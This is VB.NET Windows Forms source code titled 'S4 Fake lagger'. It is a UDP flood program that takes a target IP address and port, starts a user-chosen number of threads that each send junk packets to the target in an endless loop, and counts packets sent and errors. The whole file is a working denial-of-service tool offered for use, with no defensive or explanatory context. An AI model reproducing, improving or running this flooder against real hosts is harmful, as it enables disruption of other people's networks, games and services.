S4 Fake lagger

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports System.Text
Imports System.Threading
Public Class Form1
Dim List As New List(Of Threading.Thread)

Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
Label3.Text = "level : " & TrackBar1.Value
End Sub
Sub UDP()
Try
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
bytCommand = Encoding.ASCII.GetBytes("$$$$$$$$$$$$$$$")
Do
Dim udpClient As New UdpClient
udpClient.Connect(GLOIP, TextBox2.Text)
udpClient.Send(bytCommand, bytCommand.Length)
udpClient.Close()
Label6.Text += 1
Loop
Catch ex As Exception
Label7.Text += 1

End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

List.Clear()
For i = 0 To TrackBar1.Value - 1
Dim UDPFlood As New Threading.Thread(AddressOf UDP)
UDPFlood.Start()
List.Add(UDPFlood)
Next
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
For i = 0 To List.Count - 1
List(i).Abort()
Next
End Sub


Private Sub TextBox3_TextChanged(sender As Object, e As EventArgs)

End Sub

Private Sub Button3_Click(sender As Object, e As EventArgs)

End Sub

Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
System.Diagnostics.Process.Start("http://www.whatismyip.com/")
End Sub
End Class